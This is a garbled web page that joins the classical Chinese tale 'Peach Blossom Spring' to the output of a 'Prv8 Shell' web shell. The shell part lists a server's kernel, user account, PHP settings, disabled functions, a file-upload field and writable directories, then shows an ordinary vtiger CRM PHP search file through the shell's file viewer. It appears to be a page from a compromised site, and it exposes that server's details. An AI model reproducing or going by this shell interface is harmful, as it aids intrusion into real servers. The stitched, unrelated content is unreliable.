晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/CustomerPortal/apis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/CustomerPortal/apis/SearchRecords.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

class CustomerPortal_SearchRecords extends CustomerPortal_API_Abstract {

	function process(CustomerPortal_API_Request $request) {
		$response = new CustomerPortal_API_Response();
		$current_user = $this->getActiveUser();
		global $adb;

		if ($current_user) {
			$searchKey = $request->get('searchKey');
			$orderBy = 'modifiedtime';

			if (!empty($searchKey)) {
				$portalActiveModules = CustomerPortal_Utils::getActiveModules();

				if (!empty($portalActiveModules)) {
					$searchResult = array();

					foreach ($portalActiveModules as $key => $module) {
						$moduleModel = Vtiger_Module_Model::getInstance($module);
						//Restricting search to Contact related modules
						if (in_array($module, array("Faq", "ProjectTask", "ProjectMilestone"))) {
							// do nothing
						} else {
							$activeFields = CustomerPortal_Utils::getActiveFields($module);

							// unset date, time fields as search will fail on them
							foreach ($activeFields as $key => $field) {
								$field_model = Vtiger_Field_Model::getInstance($field, $moduleModel);

								if (in_array($field_model->getFieldDataType(), array('date', 'datetime', 'time', 'currency'))) {
									unset($activeFields[$key]);
								}
							}

							$describe = vtws_describe($module, $current_user);
							$labelFields = $describe['labelFields'];
							if ($module == 'Documents') {
								$labelFields = 'notes_title';
							}
							if ($module == 'HelpDesk') {
								$labelFields = 'ticket_title';
							}

							//generate query using Query Generator
							$queryGenerator = new QueryGenerator($module, $current_user);
							$labelFieldsArray = explode(',', $labelFields);
							$queryGenerator->setFields($labelFieldsArray);

							foreach ($activeFields as $fieldName) {
								$queryGenerator->addCondition($fieldName, $searchKey, 'c', 'OR');
							}
							$query = $queryGenerator->getQuery();

							$moduleLabel = CustomerPortal_Utils::getRelatedModuleLabel($module);
							$relatedRecordWSIds = $this->relatedRecordIds($module, $moduleLabel);
							$relatedRecordCRMIds = array();

							//extract crm ids from webservice ids
							if (!empty($relatedRecordWSIds)) {
								foreach ($relatedRecordWSIds as $wsId) {
									$idParts = explode('x', $wsId);
									$relatedRecordCRMIds[] = $idParts[1];
								}
							}

							$whereClause = "crmid IN ('".implode("','", $relatedRecordCRMIds)."')";
							if (stripos($query, 'WHERE') == false) {
								$query .= " WHERE ".$whereClause;
							} else {
								$queryParts = explode('WHERE', $query);
								// adding crmid into query select fields list 
								$subParts = explode('FROM', $queryParts[0]);
								$queryParts[0] = $subParts[0].",vtiger_crmentity.crmid FROM ".$subParts[1];
								$query = $queryParts[0]." WHERE ".$whereClause;
								$query .= " AND (".$queryParts[1].")";
							}
							$query = sprintf('%s ORDER BY %s %s', $query, $orderBy, 'DESC');
							$queryResult = $adb->pquery($query, array());
							$result = array();

							$num_rows = $adb->num_rows($queryResult);
							if ($num_rows > 0) {
								$result['uiLabel'] = decode_html(vtranslate($moduleLabel, $module));
								$result['labelField'] = $labelFields;
							}

							// Parse result and construct response
							while ($row = $adb->fetch_array($queryResult)) {
								$record = array();
								$crmId = $row['crmid'];
								$recordWSId = vtws_getWebserviceEntityId($module, $crmId);
								$record['id'] = $recordWSId;
								$label = '';
								foreach ($labelFieldsArray as $labelField) {
									$fieldModel = Vtiger_Field_Model::getInstance($labelField, $moduleModel);
									$label.= $row[$fieldModel->column]." ";
								}
								$record['label'] = decode_html($label);
								$result[] = $record;
							}

							$searchResult[$module] = $result;
						}
					}
				}
			} else {
				throw new Exception("Search key is empty", 1412);
			}
			$response->setResult($searchResult);
			return $response;
		}
	}

}

haha - 2025